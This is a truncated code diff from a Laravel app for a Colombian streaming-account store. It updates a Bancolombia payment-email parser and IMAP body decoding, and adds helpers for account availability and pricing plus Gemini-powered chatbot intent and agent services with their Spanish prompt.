'remitente' => self::extraerPrimero($text, [
|
||||||
|
'/transferencia\s+de\s+(.+?)\s+por\s+\$/iu',
|
||||||
|
'/realiz[oó]\s+(?:un[a]?\s+)?(?:transferencia|pago)\s+de\s+\$[0-9,.]+\s+(?:a\s+tu\s+cuenta|para)\s+(.+?)[\.,]/iu',
|
||||||
|
'/(?:pagador|remitente|enviado\s+por)[:\s]+([A-ZÁÉÍÓÚÑÜ][A-Za-záéíóúñü\s]+?)[\.,]/iu',
|
||||||
|
'/de\s+([A-ZÁÉÍÓÚÑÜ][A-Za-záéíóúñü\s]{3,50}?)\s+(?:por\s+\$|a\s+tu)/iu',
|
||||||
|
]),
|
||||||
'valor' => self::extraerValor($text),
|
'valor' => self::extraerValor($text),
|
||||||
'cuenta' => self::extraer($text, '/cuenta\s+\*(\d+)/iu'),
|
'cuenta' => self::extraerPrimero($text, [
|
||||||
'llave' => self::extraer($text, '/llave\s+([@\w.\-]+)/iu'),
|
'/cuenta\s+\*(\d+)/iu',
|
||||||
'fecha' => self::extraer($text, '/el\s+(\d{1,2}\/\d{1,2}\/\d{2,4})/iu'),
|
'/cuenta\s+(?:de\s+ahorros|corriente)?\s*(?:No\.?\s*)?\*?(\d{4,})/iu',
|
||||||
'hora' => self::extraer($text, '/a\s+las\s+(\d{1,2}:\d{2})/iu'),
|
'/terminad[ao]\s+en\s+(\d{4})/iu',
|
||||||
|
]),
|
||||||
|
'llave' => self::extraerPrimero($text, [
|
||||||
|
'/llave\s+([@\w.\-]+)/iu',
|
||||||
|
'/llave\s+(?:de\s+pago\s+)?([@\w.\-]+)/iu',
|
||||||
|
'/([@][a-z0-9._\-]{3,})/iu',
|
||||||
|
]),
|
||||||
|
'fecha' => self::extraerPrimero($text, [
|
||||||
|
'/el\s+(\d{1,2}\/\d{1,2}\/\d{2,4})/iu',
|
||||||
|
'/(\d{1,2}\/\d{1,2}\/\d{2,4})/u',
|
||||||
|
'/(\d{1,2}\s+de\s+\w+\s+de\s+\d{4})/iu',
|
||||||
|
'/fecha[:\s]+(\d{1,2}[\/\-]\d{1,2}[\/\-]\d{2,4})/iu',
|
||||||
|
]),
|
||||||
|
'hora' => self::extraerPrimero($text, [
|
||||||
|
'/a\s+las\s+(\d{1,2}:\d{2})/iu',
|
||||||
|
'/hora[:\s]+(\d{1,2}:\d{2})/iu',
|
||||||
|
'/(\d{1,2}:\d{2})\s*(?:a\.?m\.?|p\.?m\.?)/iu',
|
||||||
|
'/(\d{2}:\d{2})(?::\d{2})?/u',
|
||||||
|
]),
|
||||||
'texto_original' => $text,
|
'texto_original' => $text,
|
||||||
];
|
];
|
||||||
|
|
||||||
@@ -60,13 +87,19 @@ class BancolombiaParser
|
|||||||
|
|
||||||
private static function esBancolombia(string $text): bool
|
private static function esBancolombia(string $text): bool
|
||||||
{
|
{
|
||||||
return stripos($text, 'bancolombia') !== false
|
if (stripos($text, 'bancolombia') === false) {
|
||||||
&& (
|
return false;
|
||||||
stripos($text, 'transferencia') !== false
|
}
|
||||||
|| stripos($text, 'pago') !== false
|
// Al menos uno de estos indica una notificación transaccional
|
||||||
|| stripos($text, 'recibiste') !== false
|
$indicadores = ['transferencia', 'pago', 'recibiste', 'enviaste', 'credito', 'crédito',
|
||||||
|| stripos($text, 'enviaste') !== false
|
'abono', 'consignacion', 'consignación', 'recibido', 'recibiste',
|
||||||
);
|
'valor', 'monto', '$'];
|
||||||
|
foreach ($indicadores as $ind) {
|
||||||
|
if (stripos($text, $ind) !== false) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static function detectarTipo(string $text): string
|
private static function detectarTipo(string $text): string
|
||||||
@@ -95,19 +128,51 @@ class BancolombiaParser
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Extrae el valor monetario como string limpio, ej: "1000.00"
|
* Prueba múltiples patrones y devuelve el primer match no-vacío.
|
||||||
* y también como float.
|
*/
|
||||||
* Devuelve el string formateado con separadores originales.
|
private static function extraerPrimero(string $text, array $patterns): string
|
||||||
|
{
|
||||||
|
foreach ($patterns as $pat) {
|
||||||
|
$v = self::extraer($text, $pat);
|
||||||
|
if ($v !== '') {
|
||||||
|
return $v;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extrae el valor monetario como entero limpio sin decimales (ej: "1000").
|
||||||
|
* $1,000.00 → "1000" | $50.000,00 → "50000"
|
||||||
*/
|
*/
|
||||||
private static function extraerValor(string $text): string
|
private static function extraerValor(string $text): string
|
||||||
{
|
{
|
||||||
// Captura números con puntos y comas: $1,000.00 | $1.000,00 | $500
|
$patterns = [
|
||||||
if (preg_match('/por\s+\$([0-9][0-9.,]*)/iu', $text, $m)) {
|
'/por\s+\$\s*([0-9][0-9.,]*)/iu',
|
||||||
return trim($m[1]);
|
'/valor[:\s]+\$?\s*([0-9][0-9.,]*)/iu',
|
||||||
|
'/monto[:\s]+\$?\s*([0-9][0-9.,]*)/iu',
|
||||||
|
'/recibiste[^$]*\$\s*([0-9][0-9.,]*)/iu',
|
||||||
|
'/\$\s*([0-9][0-9.,]{2,})/u',
|
||||||
|
];
|
||||||
|
foreach ($patterns as $pat) {
|
||||||
|
if (preg_match($pat, $text, $m)) {
|
||||||
|
return self::normalizarValor(trim($m[1]));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Convierte "1,000.00" o "1.000,00" a "1000" (entero limpio).
|
||||||
|
*/
|
||||||
|
private static function normalizarValor(string $raw): string
|
||||||
|
{
|
||||||
|
// Eliminar parte decimal: ,XX o .XX al final (pesos colombianos no tienen centavos reales)
|
||||||
|
$raw = preg_replace('/[.,]\d{1,2}$/', '', $raw);
|
||||||
|
// Eliminar separadores de miles (comas, puntos)
|
||||||
|
return preg_replace('/[^0-9]/', '', $raw);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Elimina completamente bloques <style>, <script>, <head> y luego
|
* Elimina completamente bloques <style>, <script>, <head> y luego
|
||||||
* convierte etiquetas estructurales en saltos de línea antes de strip_tags.
|
* convierte etiquetas estructurales en saltos de línea antes de strip_tags.
|
||||||
|
|||||||
Regular → Executable
+15
-6
@@ -51,7 +51,7 @@ class CorreoImapService
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Descargar un lote suficiente para cubrir la ventana de tiempo.
|
// Descargar un lote suficiente para cubrir la ventana de tiempo.
|
||||||
$fetchSize = min($total, max($limit * 4, 20));
|
$fetchSize = min($total, max($limit * 2, 20));
|
||||||
$from = max(1, $total - $fetchSize + 1);
|
$from = max(1, $total - $fetchSize + 1);
|
||||||
$set = "{$from}:{$total}";
|
$set = "{$from}:{$total}";
|
||||||
|
|
||||||
@@ -67,9 +67,9 @@ class CorreoImapService
|
|||||||
foreach ($emails as $email) {
|
foreach ($emails as $email) {
|
||||||
$ts = $email['date'] ? @strtotime($email['date']) : false;
|
$ts = $email['date'] ? @strtotime($email['date']) : false;
|
||||||
|
|
||||||
// Correo más antiguo que la ventana → parar
|
// Correo más antiguo que la ventana → saltar (no parar, pueden haber más nuevos)
|
||||||
if ($ts !== false && $ts < $cutoff) {
|
if ($ts !== false && $ts < $cutoff) {
|
||||||
break;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
$result[] = $email;
|
$result[] = $email;
|
||||||
@@ -304,9 +304,18 @@ class CorreoImapService
|
|||||||
|
|
||||||
private function cleanBody(string $body): string
|
private function cleanBody(string $body): string
|
||||||
{
|
{
|
||||||
// ── 1. Decoded quoted-printable ──────────────────────────────────
|
// ── 0. Base64 — detectar antes que QP ────────────────────────────
|
||||||
// BODY.PEEK[1] retorna directamente el contenido de la parte (sin
|
// BODY[1] puede llegar codificado en base64 (Content-Transfer-Encoding: base64)
|
||||||
// boundaries), pero puede estar codificado en quoted-printable.
|
// si el servidor no decodifica automáticamente.
|
||||||
|
$noWs = preg_replace('/[\r\n\t ]/', '', $body);
|
||||||
|
if (strlen($noWs) > 60 && preg_match('/^[A-Za-z0-9+\/]+=*$/', $noWs)) {
|
||||||
|
$decoded = base64_decode($noWs, true);
|
||||||
|
if ($decoded !== false && preg_match('//u', $decoded)) {
|
||||||
|
$body = $decoded;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 1. Quoted-printable ──────────────────────────────────────────
|
||||||
if (preg_match('/=[0-9A-F]{2}/i', $body) || preg_match('/=\r?\n/m', $body)) {
|
if (preg_match('/=[0-9A-F]{2}/i', $body) || preg_match('/=\r?\n/m', $body)) {
|
||||||
$body = quoted_printable_decode($body);
|
$body = quoted_printable_decode($body);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,136 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\Cuentas;
|
||||||
|
use App\Models\Historial_cuenta;
|
||||||
|
use App\Models\Preferencial;
|
||||||
|
use App\Models\Tarifas;
|
||||||
|
use App\Models\Usuario_tarifa;
|
||||||
|
|
||||||
|
class CuentasHelper
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* Cuenta cuentas disponibles para una tarifa, igual que la web.
|
||||||
|
*/
|
||||||
|
public static function contar(Tarifas $tarifa): int
|
||||||
|
{
|
||||||
|
$servicio = $tarifa->servicio;
|
||||||
|
$fechaBase = now()->subDays(8)->format('Y-m-d');
|
||||||
|
$fechaMin = now()->addDays($tarifa->dias - 15)->format('Y-m-d');
|
||||||
|
$fechaMax = now()->addDays($tarifa->dias + 15)->format('Y-m-d');
|
||||||
|
|
||||||
|
// Cuenta completa
|
||||||
|
if ((int) $tarifa->pantallas === (int) $servicio->completa) {
|
||||||
|
return Cuentas::where('servicio_id', $servicio->id)
|
||||||
|
->whereDate('vencimiento', '>=', $fechaMin)
|
||||||
|
->whereDate('vencimiento', '<=', $fechaMax)
|
||||||
|
->where('estado', 'pendiente')
|
||||||
|
->doesntHave('perfil')
|
||||||
|
->count();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cuenta por pantalla
|
||||||
|
$suma = $servicio->pantallas - $tarifa->pantallas;
|
||||||
|
$baseQ = Cuentas::select('*')
|
||||||
|
->where('servicio_id', $servicio->id)
|
||||||
|
->whereDate('inicio', '>=', $fechaBase)
|
||||||
|
->whereDate('vencimiento', '>=', $fechaMin)
|
||||||
|
->whereDate('vencimiento', '<=', $fechaMax)
|
||||||
|
->where('estado', 'activo')
|
||||||
|
->withCount('historiales');
|
||||||
|
|
||||||
|
$cuentas = Cuentas::fromSub($baseQ, 'alias')
|
||||||
|
->where('historiales_count', '<=', $suma)
|
||||||
|
->get();
|
||||||
|
|
||||||
|
if ($cuentas->isEmpty()) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
$tomadas = Historial_cuenta::whereIn('cuenta_id', $cuentas->pluck('id'))
|
||||||
|
->whereNotNull('historial_id')
|
||||||
|
->count();
|
||||||
|
|
||||||
|
return (int) floor((($cuentas->count() * $servicio->pantallas) - $tomadas) / $tarifa->pantallas);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Busca la primera cuenta disponible para una tarifa.
|
||||||
|
*/
|
||||||
|
public static function buscar(Tarifas $tarifa): ?Cuentas
|
||||||
|
{
|
||||||
|
$servicio = $tarifa->servicio;
|
||||||
|
$fechaBase = now()->subDays(8)->format('Y-m-d');
|
||||||
|
$fechaMin = now()->addDays($tarifa->dias - 15)->format('Y-m-d');
|
||||||
|
$fechaMax = now()->addDays($tarifa->dias + 15)->format('Y-m-d');
|
||||||
|
|
||||||
|
// Cuenta completa
|
||||||
|
if ((int) $tarifa->pantallas === (int) $servicio->completa) {
|
||||||
|
return Cuentas::where('servicio_id', $servicio->id)
|
||||||
|
->whereDate('vencimiento', '>=', $fechaMin)
|
||||||
|
->whereDate('vencimiento', '<=', $fechaMax)
|
||||||
|
->where('estado', 'pendiente')
|
||||||
|
->doesntHave('perfil')
|
||||||
|
->orderBy('inicio', 'ASC')
|
||||||
|
->first();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cuenta por pantalla — intento normal
|
||||||
|
$suma = $servicio->pantallas - $tarifa->pantallas;
|
||||||
|
$baseQ = Cuentas::select('*')
|
||||||
|
->where('servicio_id', $servicio->id)
|
||||||
|
->whereDate('inicio', '>=', $fechaBase)
|
||||||
|
->whereDate('vencimiento', '>=', $fechaMin)
|
||||||
|
->whereDate('vencimiento', '<=', $fechaMax)
|
||||||
|
->where('estado', 'activo')
|
||||||
|
->withCount('historiales')
|
||||||
|
->orderBy('inicio', 'ASC');
|
||||||
|
|
||||||
|
$cuenta = Cuentas::fromSub($baseQ, 'alias')
|
||||||
|
->where('historiales_count', '<=', $suma)
|
||||||
|
->orderBy('inicio', 'ASC')
|
||||||
|
->lockForUpdate()
|
||||||
|
->first();
|
||||||
|
|
||||||
|
// Segundo intento sin filtro de inicio
|
||||||
|
if (! $cuenta) {
|
||||||
|
$baseQ2 = Cuentas::select('*')
|
||||||
|
->where('servicio_id', $servicio->id)
|
||||||
|
->whereDate('vencimiento', '>=', $fechaMin)
|
||||||
|
->whereDate('vencimiento', '<=', $fechaMax)
|
||||||
|
->where('estado', 'activo')
|
||||||
|
->withCount('historiales')
|
||||||
|
->orderBy('inicio', 'ASC');
|
||||||
|
|
||||||
|
$cuenta = Cuentas::fromSub($baseQ2, 'alias')
|
||||||
|
->where('historiales_count', '<=', $suma)
|
||||||
|
->orderBy('inicio', 'ASC')
|
||||||
|
->lockForUpdate()
|
||||||
|
->first();
|
||||||
|
}
|
||||||
|
|
||||||
|
return $cuenta;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Precio efectivo para un usuario y tarifa.
|
||||||
|
* Prioridad: Usuario_tarifa (web) → Preferencial (legacy) → precio base.
|
||||||
|
*/
|
||||||
|
public static function precio(int $tarifaId, ?int $userId, float $base): float
|
||||||
|
{
|
||||||
|
if ($userId) {
|
||||||
|
$ut = Usuario_tarifa::where('usuario_id', $userId)->where('tarifa_id', $tarifaId)->first();
|
||||||
|
if ($ut) {
|
||||||
|
return (float) $ut->precio;
|
||||||
|
}
|
||||||
|
|
||||||
|
$pref = Preferencial::where('usuario_id', $userId)->where('tarifa_id', $tarifaId)->first();
|
||||||
|
if ($pref) {
|
||||||
|
return (float) $pref->valor;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return (float) $base;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,246 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\AiUsageLog;
|
||||||
|
use App\Models\ChatConfig;
|
||||||
|
use App\Models\ChatMessage;
|
||||||
|
use App\Models\Servicio;
|
||||||
|
use Illuminate\Support\Facades\Cache;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Agente conversacional con contexto: entiende lenguaje natural y extrae
|
||||||
|
* acción + parámetros para ir directamente al flujo correcto.
|
||||||
|
*
|
||||||
|
* Respuesta: {"respuesta": "...", "accion": null|string, "accion_data": {}}
|
||||||
|
* Acciones:
|
||||||
|
* recarga.iniciar → accion_data: {monto?: int}
|
||||||
|
* servicios.listar → accion_data: {servicio?: "Netflix"}
|
||||||
|
* promo.listar → accion_data: {}
|
||||||
|
* credenciales.listar → accion_data: {servicio?: "Netflix"}
|
||||||
|
* historial.ver → accion_data: {}
|
||||||
|
* perfil.ver → accion_data: {}
|
||||||
|
*/
|
||||||
|
class GeminiAgentService
|
||||||
|
{
|
||||||
|
private string $apiKey;
|
||||||
|
private string $model;
|
||||||
|
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
$this->apiKey = ChatConfig::get('gemini_api_key', '');
|
||||||
|
$this->model = ChatConfig::get('gemini_model', 'gemini-2.0-flash');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function responder(
|
||||||
|
string $texto,
|
||||||
|
array $contexto,
|
||||||
|
?int $usuarioId = null,
|
||||||
|
string $canal = 'telegram'
|
||||||
|
): array {
|
||||||
|
$vacio = ['respuesta' => null, 'accion' => null, 'accion_data' => []];
|
||||||
|
|
||||||
|
if (! $this->apiKey) {
|
||||||
|
return $vacio;
|
||||||
|
}
|
||||||
|
|
||||||
|
$body = [
|
||||||
|
'contents' => [[
|
||||||
|
'parts' => [['text' => $this->buildPrompt($texto, $contexto)]],
|
||||||
|
]],
|
||||||
|
'generationConfig' => [
|
||||||
|
'temperature' => 0.5,
|
||||||
|
'maxOutputTokens' => 512,
|
||||||
|
'thinkingConfig' => ['thinkingBudget' => 0],
|
||||||
|
],
|
||||||
|
];
|
||||||
|
|
||||||
|
$inicio = microtime(true);
|
||||||
|
$response = null;
|
||||||
|
$lastError = '';
|
||||||
|
|
||||||
|
foreach (['v1', 'v1beta'] as $ver) {
|
||||||
|
$url = "https://generativelanguage.googleapis.com/{$ver}/models/{$this->model}:generateContent";
|
||||||
|
try {
|
||||||
|
$resp = Http::withHeaders(['Content-Type' => 'application/json'])
|
||||||
|
->timeout(12)
|
||||||
|
->post("{$url}?key={$this->apiKey}", $body);
|
||||||
|
|
||||||
|
if ($resp->successful()) {
|
||||||
|
$response = $resp;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
$lastError = "[{$ver}] " . ($resp->json('error.message') ?? substr($resp->body(), 0, 200));
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$lastError = "[{$ver}] " . $e->getMessage();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$tiempoMs = (int) ((microtime(true) - $inicio) * 1000);
|
||||||
|
|
||||||
|
if (! $response) {
|
||||||
|
Log::warning('[GeminiAgent] API failed: ' . $lastError);
|
||||||
|
return $vacio;
|
||||||
|
}
|
||||||
|
|
||||||
|
$parts = $response->json('candidates.0.content.parts', []);
|
||||||
|
$text = implode("\n", array_column(
|
||||||
|
array_filter($parts, fn ($p) => isset($p['text']) && empty($p['thought'])),
|
||||||
|
'text'
|
||||||
|
));
|
||||||
|
|
||||||
|
$result = $this->parseRespuesta($text);
|
||||||
|
|
||||||
|
AiUsageLog::registrar([
|
||||||
|
'servicio' => 'gemini_agent',
|
||||||
|
'canal' => $canal,
|
||||||
|
'usuario_id' => $usuarioId,
|
||||||
|
'input_tokens' => $response->json('usageMetadata.promptTokenCount', 0),
|
||||||
|
'output_tokens' => $response->json('usageMetadata.candidatesTokenCount', 0),
|
||||||
|
'tiempo_ms' => $tiempoMs,
|
||||||
|
'resultado' => $result['respuesta'] ? 'ok' : 'error',
|
||||||
|
'detalle' => ['accion' => $result['accion'] ?? null, 'raw' => substr($text, 0, 200)],
|
||||||
|
]);
|
||||||
|
|
||||||
|
Log::info('[GeminiAgent] ' . json_encode($result));
|
||||||
|
|
||||||
|
return $result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Context builder ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
public static function buildContexto(array $state, ?int $userId): array
|
||||||
|
{
|
||||||
|
// Balance
|
||||||
|
$balance = 0;
|
||||||
|
if ($userId) {
|
||||||
|
$user = \App\Models\User::with('saldo')->find($userId);
|
||||||
|
$balance = $user?->saldo?->valor ?? 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Catálogo resumido (cacheado 5 min por rol)
|
||||||
|
$rolId = $state['rol_id'] ?? null;
|
||||||
|
$catalogo = Cache::remember("agent_catalogo_{$rolId}", 300, fn () => self::buildCatalogo($rolId, $userId));
|
||||||
|
|
||||||
|
// Últimos mensajes del chat (contexto conversacional)
|
||||||
|
$historial = '';
|
||||||
|
if ($convId = $state['conv_id'] ?? null) {
|
||||||
|
$msgs = ChatMessage::where('conversation_id', $convId)
|
||||||
|
->orderBy('id', 'desc')
|
||||||
|
->limit(8)
|
||||||
|
->get()
|
||||||
|
->reverse();
|
||||||
|
|
||||||
|
if ($msgs->count() > 1) {
|
||||||
|
$lines = $msgs->map(fn ($m) => ($m->tipo === 'usuario' ? 'Usuario' : 'Bot') . ': ' . $m->contenido);
|
||||||
|
$historial = "CONVERSACIÓN RECIENTE:\n" . $lines->implode("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'nombre' => $state['nombre'] ?? ($state['data']['nombre'] ?? 'Cliente'),
|
||||||
|
'balance' => number_format($balance),
|
||||||
|
'catalogo' => $catalogo,
|
||||||
|
'historial' => $historial,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private static function buildCatalogo(?int $rolId, ?int $userId): string
|
||||||
|
{
|
||||||
|
$servicios = Servicio::with(['tarifas' => fn ($q) => $q->where('estado', 'activo')
|
||||||
|
->when($rolId, fn ($q2) => $q2->where('rol_id', $rolId))
|
||||||
|
])->where('estado', 'activo')->limit(12)->get();
|
||||||
|
|
||||||
|
$lines = [];
|
||||||
|
foreach ($servicios as $srv) {
|
||||||
|
if ($srv->tarifas->isEmpty()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$tarifa = $srv->tarifas->first();
|
||||||
|
$precio = CuentasHelper::precio($tarifa->id, $userId, $tarifa->valor);
|
||||||
|
$disp = CuentasHelper::contar($tarifa) > 0 ? '✅' : '❌';
|
||||||
|
$lines[] = " {$disp} {$srv->nombre} — \$" . number_format($precio) . " / {$tarifa->dias} días";
|
||||||
|
}
|
||||||
|
|
||||||
|
return $lines ? implode("\n", $lines) : 'Sin servicios disponibles';
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Prompt ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private function buildPrompt(string $texto, array $contexto): string
|
||||||
|
{
|
||||||
|
$nombre = $contexto['nombre'] ?? 'Cliente';
|
||||||
|
$balance = $contexto['balance'] ?? '0';
|
||||||
|
$catalogo = $contexto['catalogo'] ?? '';
|
||||||
|
$hist = $contexto['historial'] ? "\n" . $contexto['historial'] . "\n" : '';
|
||||||
|
|
||||||
|
return <<<PROMPT
|
||||||
|
Eres el bot de SirPremium, tienda colombiana de streaming. NO eres humano ni agente de soporte.
|
||||||
|
Solo puedes ejecutar las acciones del menú — NUNCA pidas pantallazos, correos ni información adicional.
|
||||||
|
Habla en español colombiano informal. Máximo 2 oraciones en "respuesta".
|
||||||
|
|
||||||
|
IMPORTANTE:
|
||||||
|
- Si el usuario tiene un problema de acceso, contraseña o no puede entrar a un servicio → credenciales.listar
|
||||||
|
- Si preguntan precio o quieren comprar → servicios.listar
|
||||||
|
- Si quieren recargar → recarga.iniciar
|
||||||
|
- Para todo lo demás que no tenga acción: responde brevemente que solo puedes ayudar con lo del menú
|
||||||
|
|
||||||
|
NUNCA digas "mándame pantallazo", "escríbenos al soporte", "revisamos", "espera" ni prometas cosas que no puedes hacer.
|
||||||
|
|
||||||
|
USUARIO: {$nombre} | Saldo: \${$balance}
|
||||||
|
|
||||||
|
CATÁLOGO:
|
||||||
|
{$catalogo}
|
||||||
|
{$hist}
|
||||||
|
MENSAJE: "{$texto}"
|
||||||
|
|
||||||
|
ACCIONES:
|
||||||
|
- recarga.iniciar → monto (int, opcional)
|
||||||
|
- servicios.listar → servicio (nombre, opcional)
|
||||||
|
- promo.listar
|
||||||
|
- credenciales.listar → servicio (nombre, opcional)
|
||||||
|
- historial.ver
|
||||||
|
- perfil.ver
|
||||||
|
|
||||||
|
Responde SOLO JSON válido:
|
||||||
|
{"respuesta": "...", "accion": null, "accion_data": {}}
|
||||||
|
|
||||||
|
Ejemplos:
|
||||||
|
"quiero comprar Netflix" → {"respuesta": "¡Claro! Te muestro los planes de Netflix 👇", "accion": "servicios.listar", "accion_data": {"servicio": "Netflix"}}
|
||||||
|
"no inicia sesión Netflix" → {"respuesta": "Te paso tus datos de acceso de Netflix ahora mismo 🔑", "accion": "credenciales.listar", "accion_data": {"servicio": "Netflix"}}
|
||||||
|
"recargar 50 mil" → {"respuesta": "Listo, iniciando recarga de \$50.000 💰", "accion": "recarga.iniciar", "accion_data": {"monto": 50000}}
|
||||||
|
"¿cuánto vale Spotify?" → {"respuesta": "Te muestro los planes de Spotify con precios 👇", "accion": "servicios.listar", "accion_data": {"servicio": "Spotify"}}
|
||||||
|
PROMPT;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Parser ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private function parseRespuesta(string $text): array
|
||||||
|
{
|
||||||
|
$vacio = ['respuesta' => null, 'accion' => null, 'accion_data' => []];
|
||||||
|
|
||||||
|
$text = preg_replace('/```json\s*|\s*```/', '', $text);
|
||||||
|
if (preg_match('/\{.*\}/s', $text, $m)) {
|
||||||
|
$text = $m[0];
|
||||||
|
}
|
||||||
|
$json = json_decode(trim($text), true);
|
||||||
|
|
||||||
|
if (! is_array($json) || empty($json['respuesta'])) {
|
||||||
|
return $vacio;
|
||||||
|
}
|
||||||
|
|
||||||
|
$accionesValidas = ['recarga.iniciar', 'servicios.listar', 'promo.listar',
|
||||||
|
'credenciales.listar', 'historial.ver', 'perfil.ver'];
|
||||||
|
|
||||||
|
$accion = in_array($json['accion'] ?? '', $accionesValidas) ? $json['accion'] : null;
|
||||||
|
$accionData = is_array($json['accion_data'] ?? null) ? $json['accion_data'] : [];
|
||||||
|
|
||||||
|
return [
|
||||||
|
'respuesta' => trim($json['respuesta']),
|
||||||
|
'accion' => $accion,
|
||||||
|
'accion_data' => $accionData,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+192
@@ -0,0 +1,192 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\AiUsageLog;
|
||||||
|
use App\Models\ChatConfig;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
class GeminiIntentService
|
||||||
|
{
|
||||||
|
private string $apiKey;
|
||||||
|
private string $apiUrl;
|
||||||
|
|
||||||
|
private string $model;
|
||||||
|
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
$this->apiKey = ChatConfig::get('gemini_api_key', '');
|
||||||
|
$this->model = ChatConfig::get('gemini_model', 'gemini-3.5-flash');
|
||||||
|
// v1 for newer models, v1beta as fallback
|
||||||
|
$ver = preg_match('/gemini-(2\.5|3[\.\d]*)/', $this->model) ? 'v1' : 'v1beta';
|
||||||
|
$this->apiUrl = "https://generativelanguage.googleapis.com/{$ver}/models/{$this->model}:generateContent";
|
||||||
|
}
|
||||||
|
|
||||||
|
private function buildRequest(array $contents, array $genConfig = []): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'contents' => $contents,
|
||||||
|
'generationConfig' => array_merge([
|
||||||
|
'temperature' => 0.1,
|
||||||
|
'maxOutputTokens' => 2048,
|
||||||
|
'thinkingConfig' => ['thinkingBudget' => 0],
|
||||||
|
], $genConfig),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Detecta la intención del texto del usuario y la mapea a una acción del sistema.
|
||||||
|
* Retorna ['action' => string, 'data' => array] o null si no se puede detectar.
|
||||||
|
*/
|
||||||
|
public function detectar(string $texto, ?int $usuarioId = null, string $canal = 'web'): ?array
|
||||||
|
{
|
||||||
|
if (! $this->apiKey || ChatConfig::get('gemini_habilitado', '0') !== '1') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$prompt = $this->buildPrompt($texto);
|
||||||
|
$inicio = microtime(true);
|
||||||
|
|
||||||
|
try {
|
||||||
|
$response = Http::withHeaders(['Content-Type' => 'application/json'])
|
||||||
|
->timeout(8)
|
||||||
|
->post("{$this->apiUrl}?key={$this->apiKey}",
|
||||||
|
$this->buildRequest([['parts' => [['text' => $prompt]]]])
|
||||||
|
);
|
||||||
|
|
||||||
|
$tiempoMs = (int) ((microtime(true) - $inicio) * 1000);
|
||||||
|
|
||||||
|
if (! $response->successful()) {
|
||||||
|
Log::warning('[Gemini Intent] API error: ' . $response->body());
|
||||||
|
AiUsageLog::registrar([
|
||||||
|
'servicio' => 'gemini_intent',
|
||||||
|
'canal' => $canal,
|
||||||
|
'usuario_id'=> $usuarioId,
|
||||||
|
'tiempo_ms' => $tiempoMs,
|
||||||
|
'resultado' => 'error',
|
||||||
|
'detalle' => ['error' => substr($response->body(), 0, 300), 'texto' => $texto],
|
||||||
|
]);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$inputTokens = $response->json('usageMetadata.promptTokenCount', 0);
|
||||||
|
$outputTokens = $response->json('usageMetadata.candidatesTokenCount', 0);
|
||||||
|
|
||||||
|
// Igual que GeminiVisionService: si el modelo manda bloques de
|
||||||
|
// "pensamiento" (thought=true), el JSON real puede no venir en la
|
||||||
|
// parte 0. Sin este filtro, parts.0.text agarraba el pensamiento
|
||||||
|
// y el parseo fallaba en silencio (quedaba marcado 'ok' igual).
|
||||||
|
$parts = $response->json('candidates.0.content.parts', []);
|
||||||
|
$text = implode("\n", array_column(
|
||||||
|
array_filter($parts, fn ($p) => isset($p['text']) && empty($p['thought'])),
|
||||||
|
'text'
|
||||||
|
));
|
||||||
|
|
||||||
|
$resultado = $this->parseRespuesta($text);
|
||||||
|
|
||||||
|
Log::info('[Gemini Intent] raw response: ' . substr($text, 0, 300));
|
||||||
|
|
||||||
|
AiUsageLog::registrar([
|
||||||
|
'servicio' => 'gemini_intent',
